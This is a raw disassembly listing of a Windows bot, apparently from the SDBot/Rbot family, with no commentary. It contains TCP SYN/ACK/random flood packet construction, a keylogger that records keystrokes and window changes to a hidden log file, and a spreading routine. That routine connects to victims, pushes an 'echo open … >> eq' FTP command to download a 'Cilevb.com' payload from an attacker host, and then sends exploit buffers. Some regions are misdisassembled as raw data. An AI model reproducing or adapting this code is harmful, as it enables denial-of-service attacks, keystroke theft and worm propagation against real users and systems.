		mov	[ebp-20h], eax


loc_401E4E:				; CODE XREF: seg000:00401E36j
		mov	eax, [ebp-40h]
		cmp	[ebp-0B8h], ebx
		mov	[ebp-1Ch], eax
		jnz	short loc_401E6C
		call	sub_415545
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_401E72
; ---------------------------------------------------------------------------


loc_401E6C:				; CODE XREF: seg000:00401E5Aj
		push	dword ptr [ebp-0B8h]


loc_401E72:				; CODE XREF: seg000:00401E6Aj
		call	ds:dword_43A388
		mov	[ebp-16h], ax
		call	sub_415545
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_43A388
		push	12345678h
		mov	[ebp-18h], ax
		call	ds:dword_43A384
		mov	[ebp-14h], eax
		lea	eax, [ebp-1BCh]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EC2
		mov	[ebp-10h], ebx
		mov	byte ptr [ebp-0Bh], 2
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------


loc_401EC2:				; CODE XREF: seg000:00401EB7j
		lea	eax, [ebp-1BCh]
		push	offset aAck	; "ack"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401EE2
		mov	[ebp-10h], ebx
		mov	byte ptr [ebp-0Bh], 10h
		jmp	short loc_401F1E
; ---------------------------------------------------------------------------


loc_401EE2:				; CODE XREF: seg000:00401ED7j
		lea	eax, [ebp-1BCh]
		push	offset aRandom	; "random"
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F1E
		call	sub_415545
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp-10h], edx
		call	sub_415545
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp-0Bh], dl


loc_401F1E:				; CODE XREF: seg000:00401EC0j
					; seg000:00401EE0j ...
		push	200h
		mov	byte ptr [ebp-0Ch], 50h
		call	ds:dword_43A388
		mov	[ebp-0Ah], ax
		mov	eax, [ebp-20h]
		mov	[ebp-64h], eax
		mov	eax, [ebp-1Ch]
		push	14h
		mov	[ebp-6], bx
		mov	[ebp-8], bx
		mov	[ebp-60h], eax
		mov	[ebp-5Ch], bl
		mov	byte ptr [ebp-5Bh], 6
		call	ds:dword_43A388
		mov	[ebp-5Ah], ax
		lea	eax, [ebp-64h]
		push	20h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp-18h]
		push	14h
		push	eax
		lea	eax, [ebp-80h]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp-0A0h]
		push	34h
		push	eax
		call	sub_40A1CA
		mov	[ebp-8], ax
		lea	eax, [ebp-2Ch]
		push	14h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp-18h]
		push	14h
		push	eax
		lea	eax, [ebp-8Ch]
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp-78h]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 44h
		lea	eax, [ebp-0A0h]
		push	28h
		push	eax
		call	sub_40A1CA
		mov	[ebp-22h], ax
		lea	eax, [ebp-2Ch]
		push	14h
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4155D0
		add	esp, 14h
		lea	eax, [ebp-44h]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp-0A0h]
		push	3Ch
		push	eax
		push	dword ptr [ebp-4]
		call	ds:dword_43A3EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40200B
		inc	dword ptr [ebp+8]
		jmp	loc_401DC5
; ---------------------------------------------------------------------------


loc_40200B:				; CODE XREF: seg000:00402001j
		push	dword ptr [ebp-4]
		call	ds:dword_43A420
		call	ds:dword_43A31C
		push	eax
		lea	eax, [ebp-23Ch]
		push	dword ptr [ebp+8]
		push	eax
		push	offset dword_423344
		lea	eax, [ebp-440h]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 18h
		cmp	[ebp-0A8h], ebx
		jnz	short loc_402069
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_412D4E
		add	esp, 14h


loc_402069:				; CODE XREF: seg000:00402044j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-0BCh]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A80000h


loc_402088:				; CODE XREF: seg000:0040208Aj
					; seg000:00401DD9j
		sbb	bh, bh
		jnz	short loc_402088
		call	ds:dword_43A420
		mov	eax, [ebp+8]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	dword ptr [ebp-0B4h]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp-23Ch]
		push	dword ptr [ebp+8]
		push	eax
		lea	eax, [ebp-1BCh]
		push	eax
		lea	eax, [ebp-440h]
		push	offset dword_4232E0
		push	eax
		call	sub_4154E9
		add	esp, 1Ch
		cmp	[ebp-0A8h], ebx
		jnz	short loc_4020FA
		push	ebx
		lea	eax, [ebp-440h]
		push	dword ptr [ebp-0ACh]
		push	eax
		lea	eax, [ebp-13Ch]
		push	eax
		push	dword ptr [ebp-240h]
		call	sub_412D4E
		add	esp, 14h


loc_4020FA:				; CODE XREF: seg000:004020D5j
		lea	eax, [ebp-440h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-0BCh]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A80000h
		and	[ebp-75h], dl	; CODE XREF: seg000:004022AFp
					; seg000:0040244Ep
		in	al, dx


loc_40211D:				; DATA XREF: seg002:off_42F390o
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	ds:dword_42105C	; GetLocalTime
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 0A80000h
		xchg	eax, edi
		lea	eax, [ebp-114h]
		push	offset asc_423C30 ; "\\"
		push	eax
		call	sub_415C10
		lea	eax, [ebp-114h]
		push	offset aCilevb_dll ; "Cilevb.dll"
		push	eax
		call	sub_415C10
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_415BE8
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_402181
		push	1
		pop	eax
		jmp	short loc_4021F8
; ---------------------------------------------------------------------------


loc_402181:				; CODE XREF: seg000:0040217Aj
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_415B96
		push	esi
		call	sub_415B40
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_4021F6
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_423BEC
		push	200h
		push	eax
		call	sub_415A6A
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_412D4E
		add	esp, 24h


loc_4021F6:				; CODE XREF: seg000:004021BDj
		xor	eax, eax


loc_4021F8:				; CODE XREF: seg000:0040217Fj
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_4021FB:				; DATA XREF: seg000:0040EC73o
		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		and	dword ptr [ebp-8DCh], 0
		push	25h
		and	dword ptr [ebp-4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-0DCh]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-8D8h]
		rep stosd
		call	ds:dword_43A310
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp-8], eax
		call	ds:dword_43A324
		mov	ebx, 200h


loc_402256:				; CODE XREF: seg000:004024C2j
		push	8
		call	ds:dword_421060	; Sleep
		call	ds:dword_43A310
		cmp	eax, [ebp-8]
		jz	short loc_4022DE
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp-8], eax
		call	ds:dword_43A324
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		lea	eax, [ebp-4DCh]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_4154E9
		sub	esp, 84h
		lea	esi, [ebp-0DCh]
		lea	eax, [ebp-4DCh]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	near ptr loc_402119+1
		mov	[ebp-4], eax
		push	ebx
		lea	eax, [ebp-2DCh]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0A4h
		lea	eax, [ebp-4DCh]
		push	ebx
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch


loc_4022DE:				; CODE XREF: seg000:00402267j
		mov	dword ptr [ebp+8], offset aB ; "b"


loc_4022E5:				; CODE XREF: seg000:004024B8j
		push	10h
		call	ds:dword_43A268
		movsx	esi, ax
		mov	eax, [ebp+8]
		mov	edi, [eax-4]
		push	edi
		call	ds:dword_43A354
		test	ah, 80h
		jz	short loc_40237D
		push	14h
		call	ds:dword_43A268
		test	ax, ax
		jz	short loc_40232E
		cmp	esi, 0FFFFFFFFh
		jle	short loc_40232E
		cmp	edi, 40h
		jle	short loc_40232E
		cmp	edi, 5Bh
		jge	short loc_40232E
		mov	dword ptr [ebp+edi*4-8DCh], 1
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40232E:				; CODE XREF: seg000:0040230Dj
					; seg000:00402312j ...
		push	14h
		call	ds:dword_43A268
		test	ax, ax
		jz	short loc_402359
		test	esi, esi
		jge	short loc_40236D
		cmp	edi, 40h
		jle	short loc_402359
		cmp	edi, 5Bh
		jge	short loc_402359
		mov	dword ptr [ebp+edi*4-8DCh], 2
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_402359:				; CODE XREF: seg000:00402339j
					; seg000:00402342j ...
		test	esi, esi
		jge	short loc_40236D
		mov	dword ptr [ebp+edi*4-8DCh], 3
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40236D:				; CODE XREF: seg000:0040233Dj
					; seg000:0040235Bj
		mov	dword ptr [ebp+edi*4-8DCh], 4
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_40237D:				; CODE XREF: seg000:00402300j
		mov	esi, [ebp+edi*4-8DCh]
		lea	eax, [ebp+edi*4-8DCh]
		test	esi, esi
		jz	loc_4024AD
		and	dword ptr [eax], 0
		lea	eax, [ebp-2DCh]
		cmp	edi, 8
		push	eax
		jnz	short loc_4023B5
		call	sub_415CF0
		and	byte ptr [ebp+eax-2DDh], 0
		pop	ecx
		jmp	loc_4024AD
; ---------------------------------------------------------------------------


loc_4023B5:				; CODE XREF: seg000:004023A0j
		call	sub_415CF0
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_4023E7
		call	ds:dword_43A310
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_43A324
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_402428
; ---------------------------------------------------------------------------


loc_4023E7:				; CODE XREF: seg000:004023C0j
		cmp	edi, 0Dh
		jnz	loc_40247F
		lea	eax, [ebp-2DCh]
		push	eax
		call	sub_415CF0
		test	eax, eax
		pop	ecx
		jz	loc_4024AD
		call	ds:dword_43A310
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_43A324
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_402428:				; CODE XREF: seg000:004023E5j
		lea	eax, [ebp-4DCh]
		push	eax
		call	sub_4154E9
		sub	esp, 84h
		lea	esi, [ebp-0DCh]
		lea	eax, [ebp-4DCh]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	near ptr loc_402119+1
		mov	[ebp-4], eax
		push	ebx
		lea	eax, [ebp-2DCh]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0A4h
		lea	eax, [ebp-4DCh]
		push	ebx
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		jmp	short loc_4024AD
; ---------------------------------------------------------------------------


loc_40247F:				; CODE XREF: seg000:004023EAj
		cmp	esi, 1
		jz	short loc_402498
		cmp	esi, 3
		jz	short loc_402498
		cmp	esi, 2
		jz	short loc_402493
		cmp	esi, 4
		jnz	short loc_4024AD


loc_402493:				; CODE XREF: seg000:0040248Cj
		push	dword ptr [ebp+8]
		jmp	short loc_40249F
; ---------------------------------------------------------------------------


loc_402498:				; CODE XREF: seg000:00402482j
					; seg000:00402487j
		mov	eax, [ebp+8]
		add	eax, 7
		push	eax


loc_40249F:				; CODE XREF: seg000:00402496j
		lea	eax, [ebp-2DCh]
		push	eax
		call	sub_415C10
		pop	ecx
		pop	ecx


loc_4024AD:				; CODE XREF: seg000:00402329j
					; seg000:00402354j ...
		add	dword ptr [ebp+8], 14h
		cmp	dword ptr [ebp+8], offset dword_423BB4
		jl	loc_4022E5
		cmp	dword ptr [ebp-4], 0
		jz	loc_402256
		push	dword ptr [ebp-0D8h]
		call	sub_4152B1
		pop	ecx
		push	0
		call	near ptr 0A80000h
		jp	short near ptr loc_40252F+3
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_415D70
		mov	edx, [ebp+8]
		push	esi
		push	edi
		push	1
		pop	eax
		mov	esi, edx
		push	25h
		lea	edi, [ebp-0B4h]
		pop	ecx
		mov	[ebp-8], eax
		rep movsd
		mov	[edx+90h], eax
		xor	esi, esi
		push	10h
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	esi
		call	ds:dword_43A388
		push	dword ptr [ebp-0B4h]
		mov	[ebp-1Ah], ax


loc_40252F:				; CODE XREF: seg000:004024DBj
		call	sub_40A171
		pop	ecx
		push	eax
		call	ds:dword_43A3C8
		push	esi
		push	3
		push	2
		mov	[ebp-18h], eax
		call	ds:dword_43A408
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-4], edi
		jnz	short near ptr loc_4025B0+1
		call	ds:dword_43A31C
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset dword_42462C
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_402594
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_412D4E
		add	esp, 14h


loc_402594:				; CODE XREF: seg000:00402572j
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_40B16D
		push	dword ptr [ebp-30h]
		call	sub_4152B1
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A80000h


loc_4025B0:				; CODE XREF: seg000:00402552j
		sbb	eax, 6AD0458Bh
		adc	[ecx-40h], ch
		xor	al, 2
; ---------------------------------------------------------------------------
		dw 0
		dd 0F524B889h, 458D0043h, 0FF5750E4h, 43A3B415h, 0FFF88300h
		dd 15FF6475h, 43A31Ch, 4C858D50h, 68FFFFFDh, 4245E4h, 2EFFE850h
		dd 0C4830001h, 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh
		dd 50858D50h, 50FFFFFFh, 0FF4CB5FFh, 3FE8FFFFh,	83000107h
		dd 858D14C4h, 0FFFFFD4Ch, 8B4FE850h, 57590000h,	0A42015FFh
		dd 75FF0043h, 2C83E8D0h, 56590001h, 67D9CBE8h, 8D569A00h
		dd 5056E045h, 458D5656h, 50046AF8h, 168h, 15FF5798h, 43A334h
		dd 75FFF883h, 1C15FF64h, 500043A3h, 0FD4C858Dh,	9868FFFFh
		dd 50004245h, 12E7CE8h,	0CC48300h, 75D87539h, 858D5620h
		dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h
		dd 6BCE8FFh, 0C4830001h, 4C858D14h, 50FFFFFDh, 8ACCE8h
		dd 0FF575900h, 43A42015h, 0D075FF00h, 12C00E8h,	0E8565900h
		dd 67D948h, 90BB53A3h, 0BF00423Ch, 0FFFFh, 0FD4C858Dh
		dd 5657FFFEh, 2E9EE850h, 0C4830001h, 4C858D0Ch,	56FFFEFDh
		dd 75FF5057h, 0A015FFFCh, 830043A3h, 840FFFF8h,	0E1h, 0FD55BD80h
		dd 7506FFFEh, 58858BC6h, 80FFFEFDh, 0FEFD6DBDh,	458918FFh
		dd 8DB475F4h, 0FEFD7485h, 458C68FFh, 0E8500042h, 133A4h
		dd 59C08559h, 0C38B9D75h, 0C085FF33h, 5D899574h, 858D5008h
		dd 0FFFEFD74h, 3386E850h, 85590001h, 0F7559C0h,	8458347h
		dd 8458B18h, 70E9E375h,	8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh
		dd 0FFFEFD60h, 0A2C415FFh, 0B70F0043h, 75FF50C0h, 1415FFF4h
		dd 500043A4h, 8B7F048Dh, 3CA4C504h, 34FF0042h, 423C8085h
		dd 4C858D00h, 68FFFFFDh, 424544h, 20068h, 0D3E85000h, 83000132h
		dd 75391CC4h, 562075D8h, 0FD4C858Dh, 75FFFFFFh,	858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 10592h, 8D14C483h
		dd 0FFFD4C85h, 0A2E850FFh, 59000089h, 0FFFEEEE9h, 1C15FFFFh
		dd 500043A3h, 4244FC68h, 4C858D00h, 68FFFFFDh, 200h, 327CE850h
		dd 0C4830001h, 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh
		dd 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 1053Ah
		dd 8D14C483h, 0FFFD4C85h, 4AE850FFh, 59000089h,	0FFFC75FFh
		dd 43A42015h, 0D075FF00h, 12A7CE8h, 0E8565900h,	67D7C4h
; ---------------------------------------------------------------------------
		lahf

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40283D	proc near		; CODE XREF: sub_402988+440p

var_5A4		= byte ptr -5A4h
var_1A4		= byte ptr -1A4h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	ds:dword_4211D8	; inet_addr
		mov	[ebp+var_10], eax
		mov	ax, ds:word_424F58
		push	eax
		call	ds:dword_4211DC	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	ds:dword_4211E0	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_40295D
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4211E4	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40295D
		push	esi
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	edi
		call	ds:dword_4211E8	; recv
		mov	esi, offset aCilevb_com	; "Cilevb.com"
		mov	ebx, 190h
		push	esi
		push	esi
		push	offset aVb_	; "vb."
		push	offset aVb	; "vb"
		push	offset a19759	; "19759"
		push	offset dword_468984
		push	offset aEchoOpenSDEqEc ; "echo open %s %d >> eq&echo user %s %s	>"...
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_415A6A
		add	esp, 24h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	edi
		mov	edi, ds:dword_4211EC
		call	edi ; dword_4211EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40295D
		push	1F4h
		call	ds:dword_421060	; Sleep
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A4]
		push	ebx
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_1A4]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		push	[ebp+var_4]
		call	edi ; dword_4211EC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402961


loc_40295D:				; CODE XREF: sub_40283D+54j
					; sub_40283D+6Aj ...
		xor	al, al
		jmp	short loc_402983
; ---------------------------------------------------------------------------


loc_402961:				; CODE XREF: sub_40283D+11Ej
		push	0
		lea	eax, [ebp+var_5A4]
		push	400h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4211E8	; recv
		push	[ebp+var_4]
		call	ds:dword_4211F0	; closesocket
		mov	al, 1


loc_402983:				; CODE XREF: sub_40283D+122j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40283D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402988	proc near		; CODE XREF: sub_402DDD+11Bp
					; sub_402DDD+13Dp

var_89B0	= byte ptr -89B0h
var_8948	= byte ptr -8948h
var_68D8	= byte ptr -68D8h
var_6868	= byte ptr -6868h
var_5DA4	= byte ptr -5DA4h
var_4800	= byte ptr -4800h
var_47FF	= byte ptr -47FFh
var_376C	= byte ptr -376Ch
var_2CA8	= byte ptr -2CA8h
var_2CA7	= byte ptr -2CA7h
var_2CA4	= byte ptr -2CA4h
var_2C28	= byte ptr -2C28h
var_2458	= byte ptr -2458h
var_1FAD	= byte ptr -1FADh
var_1CC0	= byte ptr -1CC0h
var_14DC	= byte ptr -14DCh
var_14CC	= byte ptr -14CCh
var_11A8	= byte ptr -11A8h
var_11A4	= byte ptr -11A4h
var_1198	= byte ptr -1198h
var_F10		= byte ptr -0F10h
var_E70		= byte ptr -0E70h
var_764		= dword	ptr -764h
var_754		= byte ptr -754h
var_740		= byte ptr -740h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
var_B0		= byte ptr -0B0h
var_AD		= byte ptr -0ADh
var_83		= byte ptr -83h
var_81		= byte ptr -81h
var_80		= byte ptr -80h
var_38		= byte ptr -38h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B0h
		call	sub_415D70
		mov	eax, ds:dword_4250D0
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, ds:dword_4250D4
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_38]
		push	offset loc_4250C4
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_FF]


loc_4029C5:				; CODE XREF: sub_402988+4Dj
		mov	dl, [ebp+ecx+var_38]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_4029C5
		push	60h
		lea	eax, [ebp+var_B0]
		push	offset dword_424B68
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CF0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4155D0
		add	esp, 1Ch
		lea	eax, [ebp+var_38]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_415CF0
		pop	ecx
		lea	eax, [ebp+eax*2+var_81]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CF0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_AD]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CF0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_83]
		push	eax
		call	sub_4155D0
		mov	ax, ds:word_424F58
		add	esp, 2Ch
		push	eax
		call	ds:dword_4211DC	; ntohs
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_424868
		call	sub_4155D0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], 0
		jz	loc_402B7F
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC0]
		push	edi
		push	90h
		push	eax
		call	sub_415570
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	ebx, dword_424F98[eax]
		lea	eax, [ebp+var_14DC]
		push	ebx
		push	eax
		call	sub_4155D0
		mov	esi, offset loc_4247B8
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_14CC]
		push	esi
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11A8]
		push	offset loc_4250BC
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11A4]
		push	ebx
		push	eax
		call	sub_4155D0
		add	esp, 40h
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_1198]
		push	esi
		push	eax
		call	sub_4155D0
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_47FF]


loc_402B35:				; CODE XREF: sub_402988+1BFj
		mov	dl, [ebp+ecx+var_1CC0]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, edi
		jl	short loc_402B35
		and	[ebp+var_2CA8],	0
		and	[ebp+var_2CA7],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B0]
		push	esi
		push	31h
		push	eax
		call	sub_415570
		push	esi
		lea	eax, [ebp+var_68D8]
		push	31h
		push	eax
		call	sub_415570
		add	esp, 18h
		jmp	short loc_402BD6
; ---------------------------------------------------------------------------


loc_402B7F:				; CODE XREF: sub_402988+115j
		push	7D0h
		lea	eax, [ebp+var_F10]
		push	90h
		push	eax
		call	sub_415570
		mov	esi, offset loc_4247B8
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_E70]
		push	esi
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_754]
		push	eax
		call	sub_4155D0
		mov	eax, ds:dword_424F98
		add	esp, 2Ch
		mov	[ebp+var_764], eax


loc_402BD6:				; CODE XREF: sub_402988+1F5j
		push	0E29h
		lea	eax, [ebp+var_2CA4]
		push	31h
		push	eax
		call	sub_415570
		movsx	eax, [ebp+var_1]
		add	esp, 0Ch
		add	eax, 4
		mov	esi, ds:dword_4211EC
		push	0
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+arg_BC]
		call	esi ; dword_4211EC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402C17


loc_402C10:				; CODE XREF: sub_402988+2C0j
					; sub_402988+2EBj ...
		xor	al, al
		jmp	loc_402DD8
; ---------------------------------------------------------------------------


loc_402C17:				; CODE XREF: sub_402988+286j
		mov	edi, ds:dword_4211E8
		mov	ebx, 640h
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi ; dword_4211E8
		push	0
		push	68h
		push	offset dword_424BCC
		push	[ebp+arg_BC]
		call	esi ; dword_4211EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi ; dword_4211E8
		push	0
		push	0A0h
		push	offset dword_424C38
		push	[ebp+arg_BC]
		call	esi ; dword_4211EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi ; dword_4211E8
		cmp	[ebp+arg_C0], 0
		jz	loc_402D43
		push	68h
		lea	eax, [ebp+var_89B0]
		push	offset dword_424DF0
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_4800]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_8948]
		push	eax
		call	sub_4155D0
		push	70h
		lea	eax, [ebp+var_68D8]
		push	offset dword_424E5C
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_376C]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_6868]
		push	eax
		call	sub_4155D0
		push	84h
